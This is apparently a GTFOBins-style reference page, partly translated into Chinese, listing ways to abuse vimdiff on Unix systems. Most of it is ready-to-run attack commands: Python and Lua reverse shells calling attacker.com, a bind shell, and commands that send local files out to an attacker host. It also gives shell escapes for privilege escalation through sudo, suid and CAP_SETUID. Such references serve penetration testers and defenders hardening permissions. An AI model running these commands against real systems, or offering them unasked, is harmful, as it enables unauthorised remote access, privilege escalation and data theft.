.. / vimdiff

shell

用来生成一个交互式的系统shell。

vimdiff -c ':!/bin/sh'

vimdiff
:set shell=/bin/sh
:shell

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3.

vimdiff -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

This requires that vimdiff is compiled with Lua support.

vimdiff -c ':lua os.execute("reset; exec sh")'

reverse-shell

向监听的端口发送反向shell，以打开远程网络访问。

This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
vimdiff -c ':py import vim,sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
vim.command(":q!")'

non-interactive-reverse-shell

向监听端口发送一个非交互式反向shell。
在攻击者机器上运行nc -l -p 12345以接收shell。

Run nc -l -p 12345 on the attacker box to receive the shell. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.

export RHOST=attacker.com
export RPORT=12345
vimdiff -c ':lua local s=require("socket"); local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();'

non-interactive-bind-shell

将一个非交互式的shell监听到本地端口，以允许远程网络访问。
运行 nc target.com 12345 来连接到该shell。

Run nc target.com 12345 on the attacker box to connect to the shell. This requires that vimdiff is compiled with Lua support and that lua-socket is installed.

export LPORT=12345
vimdiff -c ':lua local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'

file-upload

上传文件到外部。

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

export URL=http://attacker.com/
export LFILE=要发送的文件
vimdiff -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))
vim.command(":q!")'

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3. Serve files in the local folder running an HTTP server.

export LPORT=8888
vimdiff -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
vim.command(":q!")'

Send a local file via TCP. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file. This requires that vimdiff is compiled with Lua support and that lua-socket is installed.

export RHOST=attacker.com
export RPORT=12345
export LFILE=要发送的文件
vimdiff -c ':lua local f=io.open(os.getenv("LFILE"), 'rb')
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
  t:send(d);
  t:close();'

file-download

下载远程文件。

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3. Fetch a remote file via HTTP GET request.

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
vimdiff -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])
vim.command(":q!")'

Fetch a remote file via TCP. Run nc target.com 12345 < "要发送的文件" on the attacker box to send the file. This requires that vimdiff is compiled with Lua support and that lua-socket is installed.

export LPORT=12345
export LFILE=file_to_save
vimdiff -c ':lua local k=require("socket");
  local s=assert(k.bind("*",os.getenv("LPORT")));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open(os.getenv("LFILE"), "wb");
  f:write(d);
  io.close(f);'

file-write

将数据写入文件中。

```
vimdiff 要写入的文件
iDATA
^[
w
```

file-read

从文件中读取数据。

```
vimdiff 要读取的文件路径
```

library-load

加载共享库，这些共享库可以被用来在二进制文件的执行上下文中运行代码。

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3.

vimdiff -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")'

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3.

./vimdiff -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

sudo vimdiff -c ':!/bin/sh'

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3.

sudo vimdiff -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

This requires that vimdiff is compiled with Lua support.

sudo vimdiff -c ':lua os.execute("reset; exec sh")'

capabilities

如果二进制文件具有设置的 Linux CAP_SETUID 能力，或者由另一个具有该能力的二进制文件执行，它可以被用作后门，通过操纵自身的进程 UID 来维持特权访问。

This requires that vimdiff is compiled with Python support. Prepend :py3 for Python 3.

./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

limited-suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

This requires that vimdiff is compiled with Lua support.
```
./vimdiff -c ':lua os.execute("reset; exec sh")'
```